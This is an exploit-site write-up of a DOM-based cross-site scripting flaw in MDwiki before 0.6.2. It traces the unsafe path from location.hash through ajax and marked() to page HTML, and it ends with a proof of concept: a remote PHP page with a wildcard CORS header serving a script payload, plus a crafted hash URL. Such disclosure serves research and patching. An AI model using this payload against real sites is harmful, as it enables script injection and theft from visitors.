mdwiki < 0.6.2 crosssite scripting

▸▸▸ Exploit & Vulnerability >>   webapps exploit & multiple vulnerability




mdwiki < 0.6.2 crosssite scripting Code Code...
				
Originally thought that only a problem with Tencent's site implementation, the black brother reminded me to look at the Github address in the source code, only to find the open source [MDwiki](https://github.com/Dynalon/mdwiki) universal system. (MDwiki is a wiki/CMS system built entirely on HTML5/Javascript technology and runs entirely on the client. No special server software is required, just upload mdwiki.html to the directory where you store the markdown files.) The problem occurs when the program gets the location The .hash value (normally test.md) is parsed and the ajax request is dynamically added to the page. ## MDwiki.min.js Decompressing the compressed JavaScript is easy to debug, and the confusion variable is temporarily ignored, n() : ``` function n() { var b; b = window.location.hash.substring(window.location.hash.startsWith("#!") ? 2 : 1), b = decodeURIComponent(b); var c = b.indexOf("#"); - 1 !== c ? (a.md.inPageAnchor = b.substring(c + 1), a.md.mainHref = b.substring(0, c)) : a.md.mainHref = b } ``` The variable b gets the value after location.hash #! and URLDecode , which is then assigned to a.md.mainHref . ## ajax getURL ``` var d = { url: a.md.mainHref, dataType: "text" }; a.ajax(d).done(function (a) { b = a, c() }).fail(function () { var b = a.md.getLogger(); b.fatal("Could not get " + a.md.mainHref), c() }) ``` The content will be requested by a.md.mainHref, and the b variable will be a:page content after completion. ``` var e = d(b); a("#md-content").html(e), b = ""; var g = a.Deferred(); f(g), g.always(function () { c() }) ``` e = d(b), b requires equal to Payload, chase d function: ``` function d(b) { var c = { gfm: !0, tables: !0, breaks: !0 }; "original" === a.md.config.lineBreaks ? c.breaks = !1 : "gfm" === a.md.config.lineBreaks && (c.breaks = !0), marked.setOptions(c); var d = marked(b); return d } ``` The e value is dynamically added to #md-content after being rendered by the d function –> marked(b) function, causing a vulnerability. ## PoC We can construct a page to write to Payload and set the ACCESS-CONTROL-ALLOW-ORIGIN header: ``` cat test/mdwiki.php <?php header("ACCESS-CONTROL-ALLOW-ORIGIN:*"); ?> <script>alert(location.href)</script> ``` eg: http://dynalon.github.io/mdwiki/mdwiki.html#!http://server.n0tr00t.com/test/mdwiki.php

Mdwiki < 0.6.2 crosssite scripting Vulnerability / Exploit Source : Mdwiki < 0.6.2 crosssite scripting



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.